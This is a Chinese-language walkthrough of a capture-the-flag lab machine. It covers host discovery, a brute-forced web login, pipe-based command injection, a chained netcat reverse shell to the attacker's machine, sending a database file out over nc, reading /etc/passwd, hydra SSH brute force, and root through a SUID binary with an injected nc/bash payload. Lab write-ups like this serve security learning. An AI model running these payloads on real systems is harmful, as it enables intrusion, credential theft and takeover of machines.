1.首先arp发现 发现靶机ip地址
发现靶机ip地址192.168.56.9
2.利用nmap进行扫描
发现22 端口开放ssh 8080开放http
3.尝试访问8080端口
4. 利用burp抓包进行爆破
发现password的返回包长度不一致
判断password为密码
5.尝试password登录
6.尝试输入hello
发现是运行了代码
7.尝试进行管道符拼接,查看是否进行命令执行 hello|ls
发现运行了ls的命令
8.尝试进行nc管道连接
在服务器端进行 nc -nvlp 3333
在浏览器进行 hello|nc 192.168.56.6 3333
发现连接上了
但是在本地无法进行进一步的命令,所以构建
hello|nc 192.168.56.6 3333|/bin/bash | nc 192.168.56.6 4444
这样则形成了nc串联,首先hello的值回传到3333端口,之后3333端口收到的消息会传输到/bin/bash中运行,运行的结果传输到4444接口,所以可以通过这样的串联获取到本地shell执行
这样可以利用3333端口执行命令,命令结果在4444显示
9.查看本地的文件,发现samples文件夹内部就是之前显示的bash等
app.py的内容也是之前可以访问的到的
10.尝试访问database.sql
利用file database.sql查看文件信息
发现是sqlite3
尝试直接打开 发现打不开,怀疑是没有环境所以尝试将文件保存到本地进行访问
尝试进行python3 -m http.server 80 没有反应,再次尝试利用nc进行保存
先在 kali上开启5555端口尝试进行 保存
在靶机上运行 nc 192.168.56.6 5555 < database.sql
发现在本地已经接收到文件了
使用命令 .dump将数据库拖库,发现password字段,保存下来
得到了密码 ,想起来之前端口开放了ssh服务,所以尝试利用密码进行登录
先进行用户名的寻找,这里寻找带有运行shell权限的用户
cat /etc/passwd |grep /bin/bash
发现3个用户名,进行保存
11.尝试利用hedra进行爆破
hydra -L u.txt -P p.txt ssh://192.168.56.9
但是发现并没有破解出来
12.返回再次查看系统里面是否具有提权的有用信息
返回上一级发现又存在root的文件存在,并且他具有suid权限,那么运行它成功的话将具有root权限
凡是具有suid
权限标记位的可执行文件,当这个文件一旦执行的时候,无论当前是哪一个用户账号,在执行这个文件后都会继承这个文件的属主权限,也就是root的权限
可以设想一下如果可以执行update_cloudav程序,再通过某种命令注入的方法,利用它的suid
权限标记位,若利用成功就可以用root
权限来执行目标系统中的命令,包括任何可以反弹shell的命令,最终的结果就都会形成获得了一个root
权限的反弹shell
查看这个.c文件
尝试运行
发现log报错,但是log报错不一定程序没有执行,所以再次利用nc串联,将信息再反弹回主机
构建
./update_cloudav "a| nc 192.168.56.6 5555 | /bin/bash |nc 192.168.56.6 6666"
之所以要用双引号将所有的内容包裹起来是为了让update_cloudav
这个程序将双引号中的内容全部作为执行它的命令行参数,从而继承它的的suid
权限,获得root
权限的反弹shell
在执行这个Payloads之前需要在kali行侦听5555
和6666
两个端口
发现具有了root权限的账户shell
总结:
第一步先进行ip地址的获取,第二部进行端口的扫描,发现输入框之后进行页面的内容的扫描,发现文本框之后进行sql或者xss或者爆破,之后发现命令执行漏洞之后利用nc串联进行获取反弹shell,然后查找相关信息,例如这里的sql文件信息这里虽然找到了但是对于ssh登录并没有太多的用处,再次寻找具有suid的root文件,通过运行它则获得了root权限
1.主机发现
2.端口扫描
3.sql注入/密码爆破
4.命令注入
5.信息收集/ssh爆破
6.suid提权